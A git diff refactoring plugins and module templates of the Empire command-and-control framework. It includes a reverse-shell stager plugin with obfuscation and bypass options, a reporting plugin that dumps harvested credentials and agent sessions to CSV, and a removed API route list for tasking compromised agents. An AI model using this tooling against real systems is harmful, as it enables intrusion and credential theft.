- "Author": ["@Killswitch-GUI"],
+ "Authors": ["@Killswitch-GUI"],
"Software": "SXXXX",
"Techniques": ["TXXXX", "TXXXX"],
+ "Tactics": ["TAXXXX", "TAXXXX"],
# more verbose multi-line description of the module
"Description": (
"A quick example how to feed your data to a background job."
@@ -60,7 +60,6 @@ def __init__(self, mainMenu, params=[]):
self.options[option]["Value"] = value
def generate(self):
-
script = """
x = 0
while True:
diff --git a/empire/server/modules/python_template.py b/empire/server/modules/python_template.py
index 9bc4695d9..8cb9aeda6 100644
--- a/empire/server/modules/python_template.py
+++ b/empire/server/modules/python_template.py
@@ -1,109 +1,57 @@
from __future__ import print_function
from builtins import object, str
+from typing import Dict, Optional, Tuple
+from empire.server.common.empire import MainMenu
+from empire.server.core.module_models import EmpireModule
from empire.server.utils.module_util import handle_error_message
class Module(object):
- def __init__(self, mainMenu, params=[]):
-
- # metadata info about the module, not modified during runtime
- self.info = {
- # name for the module that will appear in module menus
- "Name": "Active Directory Enumerator",
- # list of one or more authors for the module
- "Author": ["@424f424f"],
- # more verbose multi-line description of the module
- "Description": ("description line 1" "description line 2"),
- "Software": "SXXXX",
- "Techniques": ["TXXXX", "TXXXX"],
- # True if the module needs to run in the background
- "Background": False,
- # File extension to save the file as
- # no need to base64 return data
- "OutputExtension": None,
- # True if the method doesn't touch disk/is reasonably opsec safe
- "OpsecSafe": True,
- # the module language
- "Language": "python",
- # the minimum language version needed
- "MinLanguageVersion": "2.6",
- # list of any references/other comments
- "Comments": ["comment", "http://link/"],
- }
-
- # any options needed by the module, settable during runtime
- self.options = {
- # format:
- # value_name : {description, required, default_value}
- "Agent": {
- # The 'Agent' option is the only one that MUST be in a module
- "Description": "Agent to grab a screenshot from.",
- "Required": True,
- "Value": "",
- },
- "ldap Address": {
- "Description": "Address for LDAP Server",
- "Required": True,
- "Value": "",
- },
- "Bind DN": {
- "Description": "BIND DN username@penlab.local",
- "Required": True,
- "Value": "",
- },
- }
-
- # save off a copy of the mainMenu object to access external functionality
- # like listeners/agent handlers/etc.
- self.mainMenu = mainMenu
-
- # During instantiation, any settable option parameters
- # are passed as an object set to the module and the
- # options dictionary is automatically set. This is mostly
- # in case options are passed on the command line
- if params:
- for param in params:
- # parameter format is [Name, Value]
- option, value = param
- if option in self.options:
- self.options[option]["Value"] = value
-
- def generate(self):
-
- # the Python script itself, with the command to invoke
- # for execution appended to the end. Scripts should output
- # everything to the pipeline for proper parsing.
- #
- # the script should be stripped of comments, with a link to any
+ """
+ STOP. In most cases you will not need this file.
+ Take a look at the wiki to see if you truly need this.
+ https://bc-security.gitbook.io/empire-wiki/module-development/python-modules
+ """
+
+ @staticmethod
+ def generate(
+ main_menu: MainMenu,
+ module: EmpireModule,
+ params: Dict,
+ obfuscate: bool = False,
+ obfuscation_command: str = "",
+ ) -> Tuple[Optional[str], Optional[str]]:
+ # Step 1: Get the module source code
+ # The script should be stripped of comments, with a link to any
# original reference script included in the comments.
- script = """
-"""
- # if you're reading in a large, external script that might be updates,
- # use the pattern below
- # read in the common module source code
- moduleSource = self.mainMenu.installPath + "/data/module_source/..."
- try:
- f = open(moduleSource, "r")
- except:
- return handle_error_message(
- "[!] Could not read module source path at: " + str(moduleSource)
- )
-
- moduleCode = f.read()
- f.close()
-
- script = moduleCode
-
- # add any arguments to the end execution of the script
- for option, values in self.options.items():
- if option.lower() != "agent":
- if values["Value"] and values["Value"] != "":
- if values["Value"].lower() == "true":
- # if we're just adding a switch
- script += " -" + str(option)
- else:
- script += " -" + str(option) + " " + str(values["Value"])
-
+ # If your script is more than a few lines, it's probably best to use
+ # the first method to source it.
+ #
+ # First method: Read in the source script from module_source
+ # get_module_source will return the source code, getting the obfuscated version if necessary.
+ # (In the case of python, obfuscation is not supported)
+ # It will also return an error message if there was an issue reading the source code.
+ script, err = main_menu.modulesv2.get_module_source(
+ module_name=module.script_path,
+ obfuscate=obfuscate,
+ obfuscate_command=obfuscation_command,
+ )
+
+ if err:
+ return handle_error_message(err)
+
+ # Second method: Use the script from the module's yaml.
+ script = module.script
+
+ # Step 2: Parse the module options, and insert them into the script
+ # The params dict contains the validated options that were sent.
+ for key, value in params.items():
+ if key.lower() != "agent" and key.lower() != "computername":
+ script = script.replace("{{ " + key + " }}", value).replace(
+ "{{" + key + "}}", value
+ )
+
+ # Step 3: Return the final script
return script
diff --git a/empire/server/modules/python_template.yaml b/empire/server/modules/python_template.yaml
new file mode 100644
index 000000000..4f4cf44de
--- /dev/null
+++ b/empire/server/modules/python_template.yaml
@@ -0,0 +1,63 @@
+# Name of the module. The full name in the CLI will still include the path like
+# powershell/lateral_movement/Invoke-Template
+name: Active Directory Enumerator
+
+# The authors responsible for the original code and/or writing the Empire module for it.
+authors:
+ - name: Author 1
+ handle: '@author1'
+ link: https://twitter.com/author1
+
+description: |
+ A discription of what the module does and how it works.
+
+# Software and tools that from the MITRE ATT&CK framework (https://attack.mitre.org/software/)
+software:
+
+# Techniques that from the MITRE ATT&CK framework (https://attack.mitre.org/techniques/enterprise/)
+techniques:
+ - T1141
+ - T1514
+
+# True if the module needs to run in the background
+background: false
+
+# File extension to save the file as
+output_extension:
+
+# True if the module needs admin rights to run
+needs_admin: false
+
+# True if the method doesn't touch disk/is reasonably opsec safe
+opsec_safe: false
+
+# The language for this module. Currently, only powershell and python are valid.
+language: python
+
+# The minimum PowerShell or Python version needed for the module to run
+min_language_version: '2.6'
+
+# List of any references/other comments
+comments:
+ - 'http://github.com/bc-security/empire'
+
+# Any options needed by the module, settable during runtime
+options:
+ # The 'Agent' option is the only one that MUST be in a module
+ - name: Agent
+ description: Agent to run module on.
+ required: true
+ value: ''
+ - name: Command
+ description: Command to execute
+ required: true
+ value: ''
+
+# For many modules - inlining the script will be just fine.
+# If the code can be used by multiple modules, or it is very large.
+# the script_path field can be used instead. Examples of this are in the wiki.
+script: |
+ print('Hello World')
+ print('The command is: {{ Command }}')
+# script_path: 'situational_awareness/network/Invoke-Template.ps1'
+
diff --git a/empire/server/plugins/ChiselServer-Plugin b/empire/server/plugins/ChiselServer-Plugin
index 5d4d73a94..e347a3ed4 160000
--- a/empire/server/plugins/ChiselServer-Plugin
+++ b/empire/server/plugins/ChiselServer-Plugin
@@ -1 +1 @@
-Subproject commit 5d4d73a94ef5ad27fa614ac1434905f6709f37f6
+Subproject commit e347a3ed44502399aa0c2f7953d4f9ff9f58fb28
diff --git a/empire/server/plugins/SocksProxyServer-Plugin b/empire/server/plugins/SocksProxyServer-Plugin
index 79507938f..855bd0983 160000
--- a/empire/server/plugins/SocksProxyServer-Plugin
+++ b/empire/server/plugins/SocksProxyServer-Plugin
@@ -1 +1 @@
-Subproject commit 79507938fb9fc220851b02203ce1342ec5954910
+Subproject commit 855bd09836e26e75052843ac6ea96bc2fa2f472b
diff --git a/empire/server/plugins/basic_reporting.plugin b/empire/server/plugins/basic_reporting.plugin
new file mode 100644
index 000000000..5970af647
--- /dev/null
+++ b/empire/server/plugins/basic_reporting.plugin
@@ -0,0 +1,133 @@
+import csv
+import threading
+
+from empire.server.common.plugins import Plugin
+from empire.server.core.db import models
+from empire.server.core.db.base import SessionLocal
+from empire.server.core.plugin_service import PluginService
+
+
+class Plugin(Plugin):
+ def onLoad(self):
+ self.info = {
+ "Name": "basic_reporting",
+ "Authors": [
+ {
+ "Name": "Vincent Rose",
+ "Handle": "@vinnybod",
+ "Link": "https://github.com/vinnybod",
+ }
+ ],
+ "Description": "Generates credentials.csv, sessions.csv, and master.log. Writes to server/data directory.",
+ "Software": "",
+ "Techniques": [],
+ "Comments": [],
+ }
+
+ self.options = {
+ "report": {
+ "Description": "Reports to generate.",
+ "Required": True,
+ "Value": "all",
+ "SuggestedValues": ["session", "credential", "log", "all"],
+ "Strict": True,
+ }
+ }
+ self.lock = threading.Lock()
+ self.install_path = ""
+
+ def execute(self, command):
+ """
+ Parses commands from the API
+ """
+ try:
+ report = command["report"]
+
+ if report == "session":
+ self.session_report()
+ elif report == "credential":
+ self.credential_report()
+ elif report == "log":
+ self.generate_report()
+ elif report == "all":
+ self.session_report()
+ self.credential_report()
+ self.generate_report()
+ return True
+ except:
+ return False
+
+ def register(self, mainMenu):
+ """
+ Any modifications to the mainMenu go here - e.g.
+ registering functions to be run by user commands
+ """
+ self.install_path = mainMenu.installPath
+ self.main_menu = mainMenu
+ self.plugin_service: PluginService = mainMenu.pluginsv2
+
+ def session_report(self):
+ path = self.install_path + "/data/sessions.csv"
+ with self.lock:
+ with SessionLocal() as db:
+ with open(path, "w") as f:
+ out = csv.writer(f)
+ out.writerow(["SessionID", "Hostname", "User Name", "First Check-in"])
+
+ for row in db.query(models.Agent).all():
+ out.writerow([row.session_id, row.hostname, row.username, row.checkin_time])
+ self.plugin_service.plugin_socketio_message(
+ self.info["Name"],
+ f"[*] Session report generated to {path}",
+ )
+
+ def credential_report(self):
+ path = self.install_path + "/data/credentials.csv"
+ with self.lock:
+ with SessionLocal() as db:
+ with open(path, "w") as f:
+ out = csv.writer(f)
+ out.writerow(["Domain", "Username", "Host", "Cred Type", "Password"])
+
+ for row in db.query(models.Credential).all():
+ out.writerow([row.domain, row.username, row.host, row.credtype, row.password])
+ self.plugin_service.plugin_socketio_message(
+ self.info["Name"],
+ f"[*] Credential report generated to {path}",
+ )
+
+ def generate_report(self):
+ path = self.install_path + "/data/master.log"
+ with self.lock:
+ with SessionLocal() as db:
+ with open(path, "w") as f:
+ f.write("Empire Master Taskings & Results Log by timestamp\n")
+ f.write("=" * 50 + "\n\n")
+ for row in db.query(models.Tasking).all():
+ row: models.Tasking
+ f.write(
+ f"\n{xstr(row.created_at)} - {xstr(row.id)} ({xstr(row.agent_id)})> "
+ f"{xstr(row.user.username)}\n {xstr(row.input)}\n {xstr(row.output)}\n"
+ )
+ self.plugin_service.plugin_socketio_message(
+ self.info["Name"],
+ f"[*] Master log successfully generated to {path}"
+ )
+
+ def shutdown(self):
+ """
+ Kills additional processes that were spawned
+ """
+ # If the plugin spawns a process provide a shutdown method for when Empire exits else leave it as pass
+ pass
+
+
+def xstr(s):
+ """
+ Safely cast to a string with a handler for None
+ """
+ if s is None:
+ return ""
+ if isinstance(s, bytes):
+ return s.decode("utf-8")
+ return str(s)
diff --git a/empire/server/plugins/csharpserver.plugin b/empire/server/plugins/csharpserver.plugin
index 3a22d6f4c..8c5d2739b 100644
--- a/empire/server/plugins/csharpserver.plugin
+++ b/empire/server/plugins/csharpserver.plugin
@@ -1,6 +1,7 @@
from __future__ import print_function
import base64
+import logging
import os
import socket
import subprocess
@@ -8,18 +9,25 @@ import time
import empire.server.common.helpers as helpers
from empire.server.common.plugins import Plugin
+from empire.server.core.plugin_service import PluginService
+log = logging.getLogger(__name__)
-class Plugin(Plugin):
- description = "Empire C# server plugin."
+class Plugin(Plugin):
def onLoad(self):
- print(helpers.color("[*] Loading Empire C# server plugin"))
self.main_menu = None
self.csharpserver_proc = None
+ self.thread = None
self.info = {
"Name": "csharpserver",
- "Author": ["@Cx01N"],
+ "Authors": [
+ {
+ "Name": "Anthony Rose",
+ "Handle": "@Cx01N",
+ "Link": "https://twitter.com/Cx01N_",
+ }
+ ],
"Description": ("Empire C# server for agents."),
"Software": "",
"Techniques": [""],
@@ -41,11 +49,11 @@ class Plugin(Plugin):
def execute(self, command):
try:
- results = self.do_csharpserver("")
+ results = self.do_csharpserver(command)
return results
except Exception as e:
- print(e)
- self.main_menu.plugin_socketio_message(self.info["Name"], f"[!] {e}")
+ log.error(e)
+ self.plugin_service.plugin_socketio_message(self.info["Name"], f"[!] {e}")
return False
def get_commands(self):
@@ -56,42 +64,30 @@ class Plugin(Plugin):
any modifications to the mainMenu go here - e.g.
registering functions to be run by user commands
"""
- mainMenu.__class__.do_csharpserver = self.do_csharpserver
self.installPath = mainMenu.installPath
self.main_menu = mainMenu
+ self.plugin_service: PluginService = mainMenu.pluginsv2
- def do_csharpserver(self, *args):
+ def do_csharpserver(self, command):
"""
Check if the Empire C# server is already running.
"""
- if len(args[0]) > 0:
- self.start = args[0]
- else:
- self.start = self.options["status"]["Value"]
+ self.start = command["status"]
if not self.csharpserver_proc or self.csharpserver_proc.poll():
self.status = "OFF"
else:
self.status = "ON"
- if not args:
- self.main_menu.plugin_socketio_message(
- self.info["Name"],
- "[*] Empire C# server is currently: %s" % self.status,
- )
- self.main_menu.plugin_socketio_message(
- self.info["Name"], "[!] Empire C# "
- )
-
- elif self.start == "stop":
+ if self.start == "stop":
if self.status == "ON":
self.csharpserver_proc.kill()
- self.main_menu.plugin_socketio_message(
+ self.plugin_service.plugin_socketio_message(
self.info["Name"], "[*] Stopping Empire C# server"
)
self.status = "OFF"
else:
- self.main_menu.plugin_socketio_message(
+ self.plugin_service.plugin_socketio_message(
self.info["Name"], "[!] Empire C# server is already stopped"
)
@@ -105,11 +101,9 @@ class Plugin(Plugin):
# If dll hasn't been built yet
if not os.path.exists(server_dll):
csharp_cmd = ["dotnet", "build", self.installPath + "/csharp/"]
- self.csharpserverbuild_proc = subprocess.Popen(csharp_cmd)
- time.sleep(10)
- self.csharpserverbuild_proc.kill()
+ self.csharpserverbuild_proc = subprocess.call(csharp_cmd)
- self.main_menu.plugin_socketio_message(
+ self.plugin_service.plugin_socketio_message(
self.info["Name"], "[*] Starting Empire C# server"
)
csharp_cmd = [
@@ -122,13 +116,13 @@ class Plugin(Plugin):
)
self.status = "ON"
else:
- self.main_menu.plugin_socketio_message(
+ self.plugin_service.plugin_socketio_message(
self.info["Name"], "[!] Empire C# server is already started"
)
- thread = helpers.KThread(target=self.thread_csharp_responses, args=())
- thread.daemon = True
- thread.start()
+ self.thread = helpers.KThread(target=self.thread_csharp_responses, args=())
+ self.thread.daemon = True
+ self.thread.start()
def thread_csharp_responses(self):
while True:
@@ -138,7 +132,7 @@ class Plugin(Plugin):
return
output = output.rstrip()
if output:
- print(helpers.color("[*] " + output.decode("UTF-8")))
+ log.info(output.decode("UTF-8"))
def do_send_message(self, compiler_yaml, task_name, confuse=False):
bytes_yaml = compiler_yaml.encode("UTF-8")
@@ -164,7 +158,7 @@ class Plugin(Plugin):
if recv_message.startswith("FileName:"):
file_name = recv_message.split(":")[1]
else:
- self.main_menu.plugin_socketio_message(
+ self.plugin_service.plugin_socketio_message(
self.info["Name"], ("[*] " + recv_message)
)
file_name = "failed"
@@ -197,7 +191,7 @@ class Plugin(Plugin):
if recv_message.startswith("FileName:"):
file_name = recv_message.split(":")[1]
else:
- self.main_menu.plugin_socketio_message(
+ self.plugin_service.plugin_socketio_message(
self.info["Name"], ("[*] " + recv_message)
)
file_name = "failed"
diff --git a/empire/server/plugins/example.plugin b/empire/server/plugins/example.plugin
index b1e584fa5..a69949e5b 100644
--- a/empire/server/plugins/example.plugin
+++ b/empire/server/plugins/example.plugin
@@ -1,12 +1,13 @@
""" An example of a plugin. """
-from __future__ import print_function
+import logging
-import empire.server.common.helpers as helpers
from empire.server.common.plugins import Plugin
+log = logging.getLogger(__name__)
+
# anything you simply write out (like a script) will run immediately when the
# module is imported (before the class is instantiated)
-print("Hello from your new plugin!")
+log.info("Hello from your new plugin!")
# this class MUST be named Plugin
@@ -16,7 +17,7 @@ class Plugin(Plugin):
Any custom loading behavior - called by init, so any
behavior you'd normally put in __init__ goes here
"""
- print("Custom loading behavior happens now.")
+ log.info("Custom loading behavior happens now.")
# you can store data here that will persist until the plugin
# is unloaded (i.e. Empire closes)
@@ -26,7 +27,13 @@ class Plugin(Plugin):
# Plugin Name, at the moment this much match the do_ command
"Name": "example",
# List of one or more authors for the plugin
- "Author": ["@yourname"],
+ "Authors": [
+ {
+ "Name": "Your Name",
+ "Handle": "@yourname",
+ "Link": "https://github.com/yourname",
+ }
+ ],
# More verbose multi-line description of the plugin
"Description": ("description line 1 " "description line 2"),
# Software and tools that from the MITRE ATT&CK framework (https://attack.mitre.org/software/)
@@ -59,7 +66,7 @@ class Plugin(Plugin):
Parses commands from the API
"""
try:
- results = self.do_test("")
+ results = self.do_test(command)
return results
except:
return False
@@ -69,42 +76,25 @@ class Plugin(Plugin):
Any modifications to the mainMenu go here - e.g.
registering functions to be run by user commands
"""
- mainMenu.__class__.do_test = self.do_test
+ self.installPath = mainMenu.installPath
+ self.main_menu = mainMenu
- def do_test(self, args):
+ def do_test(self, command):
"""
An example of a plugin function.
Usage: test
"""
- print("This is executed from a plugin!")
- print(helpers.color("[*] It can even import Empire functionality!"))
+ log.info("This is executed from a plugin!")
- # Parse arguments from CLI or API
- if not args:
- print(helpers.color("[!] Usage: example "))
- self.status = self.options["Status"]["Value"]
- self.message = self.options["Message"]["Value"]
- print(
- helpers.color(
- "[+] Defaults: example " + self.status + " " + self.message
- )
- )
- else:
- self.status = args.split(" ")[0]
+ self.status = command["Status"]
if self.status == "start":
self.calledTimes += 1
- print(
- helpers.color(
- "[*] This function has been called {} times.".format(
- self.calledTimes
- )
- )
- )
- print(helpers.color("[*] Message: " + self.message))
+ log.info("This function has been called {} times.".format(self.calledTimes))
+ log.info("Message: " + command["Message"])
else:
- print(helpers.color("[!] Usage: example "))
+ log.info("Usage: example ")
def shutdown(self):
"""
diff --git a/empire/server/plugins/reverseshell_stager_server.plugin b/empire/server/plugins/reverseshell_stager_server.plugin
index acd145712..5488bda6d 100644
--- a/empire/server/plugins/reverseshell_stager_server.plugin
+++ b/empire/server/plugins/reverseshell_stager_server.plugin
@@ -4,16 +4,20 @@ import socket
import empire.server.common.helpers as helpers
from empire.server.common.plugins import Plugin
+from empire.server.core.plugin_service import PluginService
class Plugin(Plugin):
- description = "Empire reverseshell stager server plugin."
-
def onLoad(self):
- print(helpers.color("[*] Loading Empire reverseshell server plugin"))
self.info = {
"Name": "reverseshell_stager_server",
- "Author": ["@Cx01N"],
+ "Authors": [
+ {
+ "Name": "Anthony Rose",
+ "Handle": "@Cx01N",
+ "Link": "https://twitter.com/Cx01N_",
+ }
+ ],
"Description": (
"Server for reverseshell using msfvenom to act as a stage 0."
),
@@ -115,12 +119,12 @@ class Plugin(Plugin):
def execute(self, command):
try:
self.reverseshell_proc = None
- self.status = self.options["Status"]["Value"]
- results = self.do_server("")
+ self.status = command["Status"]
+ results = self.do_server(command)
return results
except Exception as e:
print(e)
- self.main_menu.plugin_socketio_message(self.info[0]["Name"], f"[!] {e}")
+ self.plugin_service.plugin_socketio_message(self.info[0]["Name"], f"[!] {e}")
return False
def get_commands(self):
@@ -131,11 +135,11 @@ class Plugin(Plugin):
any modifications to the mainMenu go here - e.g.
registering functions to be run by user commands
"""
- mainMenu.__class__.do_server = self.do_server
self.installPath = mainMenu.installPath
self.main_menu = mainMenu
+ self.plugin_service: PluginService = mainMenu.pluginsv2
- def do_server(self, *args):
+ def do_server(self, command):
"""
Check if the Empire C# server is already running.
"""
@@ -146,39 +150,39 @@ class Plugin(Plugin):
if self.status == "status":
if self.enabled:
- self.main_menu.plugin_socketio_message(
+ self.plugin_service.plugin_socketio_message(
self.info["Name"], "[+] Reverseshell server is currently running"
)
else:
- self.main_menu.plugin_socketio_message(
+ self.plugin_service.plugin_socketio_message(
self.info["Name"], "[!] Reverseshell server is currently stopped"
)
elif self.status == "stop":
if self.enabled:
self.reverseshell_proc.kill()
- self.main_menu.plugin_socketio_message(
+ self.plugin_service.plugin_socketio_message(
self.info["Name"], "[!] Stopped reverseshell server"
)
else:
- self.main_menu.plugin_socketio_message(
+ self.plugin_service.plugin_socketio_message(
self.info["Name"], "[!] Reverseshell server is already stopped"
)
elif self.status == "start":
# extract all of our options
- language = self.options["Language"]["Value"]
- listener_name = self.options["Listener"]["Value"]
- base64 = self.options["Base64"]["Value"]
- obfuscate = self.options["Obfuscate"]["Value"]
- obfuscate_command = self.options["ObfuscateCommand"]["Value"]
- user_agent = self.options["UserAgent"]["Value"]
- proxy = self.options["Proxy"]["Value"]
- proxy_creds = self.options["ProxyCreds"]["Value"]
- stager_retries = self.options["StagerRetries"]["Value"]
- safe_checks = self.options["SafeChecks"]["Value"]
- lhost = self.options["LocalHost"]["Value"]
- lport = self.options["LocalPort"]["Value"]
+ language = command["Language"]
+ listener_name = command["Listener"]
+ base64 = command["Base64"]
+ obfuscate = command["Obfuscate"]
+ obfuscate_command = command["ObfuscateCommand"]
+ user_agent = command["UserAgent"]
+ proxy = command["Proxy"]
+ proxy_creds = command["ProxyCreds"]
+ stager_retries = command["StagerRetries"]
+ safe_checks = command["SafeChecks"]
+ lhost = command["LocalHost"]
+ lport = command["LocalPort"]
encode = False
if base64.lower() == "true":
@@ -194,17 +198,17 @@ class Plugin(Plugin):
language=language,
encode=encode,
obfuscate=invoke_obfuscation,
- obfuscationCommand=obfuscate_command,
+ obfuscation_command=obfuscate_command,
userAgent=user_agent,
proxy=proxy,
proxyCreds=proxy_creds,
stagerRetries=stager_retries,
safeChecks=safe_checks,
- bypasses=self.options["Bypasses"]["Value"],
+ bypasses=command["Bypasses"],
)
if self.launcher == "":
- self.main_menu.plugin_socketio_message(
+ self.plugin_service.plugin_socketio_message(
self.info["Name"], "[!] Error in launcher command generation."
)
return ""
@@ -242,7 +246,7 @@ class Plugin(Plugin):
except:
return f"[!] Can't bind at {host}:{port}"
- self.main_menu.plugin_socketio_message(
+ self.plugin_service.plugin_socketio_message(
self.info["Name"], "[*] Listening on %s ..." % port
)
server.listen(5)
diff --git a/empire/server/plugins/websockify_server.plugin b/empire/server/plugins/websockify_server.plugin
index 93c6b11cd..9e4d6ee48 100644
--- a/empire/server/plugins/websockify_server.plugin
+++ b/empire/server/plugins/websockify_server.plugin
@@ -10,18 +10,22 @@ import websockify
import empire.server.common.helpers as helpers
from empire.server.common.plugins import Plugin
+from empire.server.core.plugin_service import PluginService
class Plugin(Plugin):
- description = "Empire websockify server plugin."
-
def onLoad(self):
- print(helpers.color("[*] Loading websockify server plugin"))
self.main_menu = None
self.csharpserver_proc = None
self.info = {
"Name": "websockify_server",
- "Author": ["@Cx01N"],
+ "Authors": [
+ {
+ "Name": "Anthony Rose",
+ "Handle": "@Cx01N",
+ "Link": "https://twitter.com/Cx01N_",
+ }
+ ],
"Description": (
"Websockify server for TCP proxy/bridge to connect applications. For example: "
"run the websockify server to connect the VNC server to noVNC."
@@ -66,12 +70,12 @@ class Plugin(Plugin):
try:
self.websockify_proc = None
# essentially switches to parse the proper command to execute
- self.status = self.options["Status"]["Value"]
- results = self.do_websockify("")
+ self.status = command["Status"]
+ results = self.do_websockify(command)
return results
except Exception as e:
print(e)
- self.main_menu.plugin_socketio_message(self.info["Name"], f"[!] {e}")
+ self.plugin_service.plugin_socketio_message(self.info["Name"], f"[!] {e}")
return False
def get_commands(self):
@@ -82,11 +86,11 @@ class Plugin(Plugin):
any modifications to the mainMenu go here - e.g.
registering functions to be run by user commands
"""
- mainMenu.__class__.do_websockify = self.do_websockify
self.installPath = mainMenu.installPath
self.main_menu = mainMenu
+ self.plugin_service: PluginService = mainMenu.pluginsv2
- def do_websockify(self, *args):
+ def do_websockify(self, command):
"""
Check if the Empire C# server is already running.
"""
@@ -97,32 +101,32 @@ class Plugin(Plugin):
if self.status == "status":
if self.enabled:
- self.main_menu.plugin_socketio_message(
+ self.plugin_service.plugin_socketio_message(
self.info["Name"], "[+] Websockify server is currently running"
)
else:
- self.main_menu.plugin_socketio_message(
+ self.plugin_service.plugin_socketio_message(
self.info["Name"], "[!] Websockify server is currently stopped"
)
elif self.status == "stop":
if self.enabled:
self.reverseshell_proc.kill()
- self.main_menu.plugin_socketio_message(
+ self.plugin_service.plugin_socketio_message(
self.info["Name"], "[!] Stopped Websockify server"
)
else:
- self.main_menu.plugin_socketio_message(
+ self.plugin_service.plugin_socketio_message(
self.info["Name"], "[!] Websockify server is already stopped"
)
elif self.status == "start":
- source_host = self.options["SourceHost"]["Value"]
- source_port = int(self.options["SourcePort"]["Value"])
- target_host = self.options["TargetHost"]["Value"]
- target_port = int(self.options["TargetPort"]["Value"])
+ source_host = command["SourceHost"]
+ source_port = int(command["SourcePort"])
+ target_host = command["TargetHost"]
+ target_port = int(command["TargetPort"])
- self.main_menu.plugin_socketio_message(
+ self.plugin_service.plugin_socketio_message(
self.info["Name"], "[*] Websockify server is currently starting..."
)
server = websockify.LibProxyServer(
@@ -135,7 +139,7 @@ class Plugin(Plugin):
self.websockify_proc = helpers.KThread(target=server.serve_forever)
self.websockify_proc.daemon = True
self.websockify_proc.start()
- self.main_menu.plugin_socketio_message(
+ self.plugin_service.plugin_socketio_message(
self.info["Name"], "[+] Websockify server succesfully started"
)
diff --git a/empire/server/server.py b/empire/server/server.py
index 4e1458ded..e9fee4f51 100755
--- a/empire/server/server.py
+++ b/empire/server/server.py
@@ -1,3041 +1,66 @@
#!/usr/bin/env python3
+import logging
+import os
+import pathlib
+import shutil
+import signal
+import subprocess
+import sys
+import time
+from pathlib import Path
-from __future__ import print_function
-
-import base64
-import copy
-import hashlib
-import json
-import logging
-import os
-import pathlib
-import random
-import shutil
-import signal
-import ssl
-import string
-import subprocess
-import sys
-import time
-from datetime import datetime, timezone
-from time import sleep
-from typing import List
-
-import flask
-import requests
-import socketio
-import urllib3
-from flask import Flask, abort, g, jsonify, make_response, request
-from flask.json import JSONEncoder
-from flask_socketio import SocketIO, join_room, leave_room
-from sqlalchemy import and_, or_
-from sqlalchemy.orm import aliased, joinedload, undefer
-
-# Empire imports
-from empire.server.common import empire, helpers
-from empire.server.common.config import empire_config
-from empire.server.common.empire import MainMenu
-from empire.server.common.module_models import PydanticModule
-from empire.server.database import base, models
-from empire.server.database.base import Session
-from empire.server.utils import file_util
-
-# Check if running Python 3
-if sys.version[0] == "2":
- print(helpers.color("[!] Please use Python 3"))
- sys.exit()
-
-global serverExitCommand
-serverExitCommand = "restart"
-
-# Disable flask warning banner for development server in production environment
-cli = sys.modules["flask.cli"]
-cli.show_server_banner = lambda *x: None
-
-# Disable http warnings
-if empire_config.supress_self_cert_warning:
- urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
-
-# Set proxy IDs
-PROXY_NAME = {
- "SOCKS4": 1,
- "SOCKS5": 2,
- "HTTP": 3,
- "SSL": 4,
- "SSL_WEAK": 5,
- "SSL_ANON": 6,
- "TOR": 7,
- "HTTPS": 8,
- "HTTP_CONNECT": 9,
- "HTTPS_CONNECT": 10,
-}
-
-PROXY_IDS = {}
-for name, ID in list(PROXY_NAME.items()):
- PROXY_IDS[ID] = name
-
-#####################################################
-#
-# Database interaction methods for the RESTful API
-#
-#####################################################
-
-
-class MyJsonEncoder(JSONEncoder):
- def default(self, o):
- if isinstance(o, datetime):
- return o.isoformat()
- if isinstance(o, bytes):
- return o.decode("latin-1")
-
- return super().default(o)
-
-
-####################################################################
-#
-# The Empire RESTful API. To see more information about it, check out the official wiki.
-#
-# Adapted from http://blog.miguelgrinberg.com/post/designing-a-restful-api-with-python-and-flask.
-# Example code at https://gist.github.com/miguelgrinberg/5614326.
-#
-#
-# Verb URI Action
-# ---- --- ------
-# GET http://localhost:1337/api/version return the current Empire version
-# GET http://localhost:1337/api/map return list of all API routes
-# GET http://localhost:1337/api/config return the current default config
-#
-# GET http://localhost:1337/api/stagers return all current stagers
-# GET http://localhost:1337/api/stagers/X return the stager with name X
-# POST http://localhost:1337/api/stagers generate a stager given supplied options (need to implement)
-#
-# GET http://localhost:1337/api/modules return all current modules
-# GET http://localhost:1337/api/modules/ return the module with the specified name
-# POST http://localhost:1337/api/modules/ execute the given module with the specified options
-# POST http://localhost:1337/api/modules/search searches modulesfor a passed term
-# POST http://localhost:1337/api/modules/search/modulename searches module names for a specific term
-# POST http://localhost:1337/api/modules/search/description searches module descriptions for a specific term
-# POST http://localhost:1337/api/modules/search/comments searches module comments for a specific term
-# POST http://localhost:1337/api/modules/search/author searches module authors for a specific term
-#
-# GET http://localhost:1337/api/listeners return all current listeners
-# GET http://localhost:1337/api/listeners/Y return the listener with id Y
-# DELETE http://localhost:1337/api/listeners/Y kills listener Y
-# GET http://localhost:1337/api/listeners/types returns a list of the loaded listeners that are available for use
-# GET http://localhost:1337/api/listeners/options/Y return listener options for Y
-# POST http://localhost:1337/api/listeners/Y starts a new listener with the specified options
-#
-# GET http://localhost:1337/api/agents return all current agents
-# GET http://localhost:1337/api/agents/stale return all stale agents
-# DELETE http://localhost:1337/api/agents/stale removes stale agents from the database
-# DELETE http://localhost:1337/api/agents/Y removes agent Y from the database
-# GET http://localhost:1337/api/agents/Y return the agent with name Y
-# GET http://localhost:1337/api/agents/Y/directory return the directory with the name given by the query parameter 'directory'
-# POST http://localhost:1337/api/agents/Y/directory task the agent Y to scrape the directory given by the query parameter 'directory'
-# GET http://localhost:1337/api/agents/Y/results return tasking results for the agent with name Y
-# DELETE http://localhost:1337/api/agents/Y/results deletes the result buffer for agent Y
-# GET http://localhost:1337/api/agents/Y/task/Z return the tasking Z for agent Y
-# POST http://localhost:1337/api/agents/Y/download task agent Y to download a file
-# POST http://localhost:1337/api/agents/Y/upload task agent Y to upload a file
-# POST http://localhost:1337/api/agents/Y/shell task agent Y to execute a shell command
-# POST http://localhost:1337/api/agents/Y/rename rename agent Y
-# GET/POST http://localhost:1337/api/agents/Y/clear clears the result buffer for agent Y
-# GET/POST http://localhost:1337/api/agents/Y/kill kill agent Y
-#
-# GET http://localhost:1337/api/creds return stored credentials
-# POST http://localhost:1337/api/creds add creds to the database
-#
-# GET http://localhost:1337/api/reporting return all logged events
-# GET http://localhost:1337/api/reporting/agent/X return all logged events for the given agent name X
-# GET http://localhost:1337/api/reporting/type/Y return all logged events of type Y (checkin, task, result, rename)
-# GET http://localhost:1337/api/reporting/msg/Z return all logged events matching message Z, wildcards accepted
-#
-#
-# POST http://localhost:1337/api/admin/login retrieve the API token given the correct username and password
-# POST http://localhost:1337/api/admin/logout logout of current user account
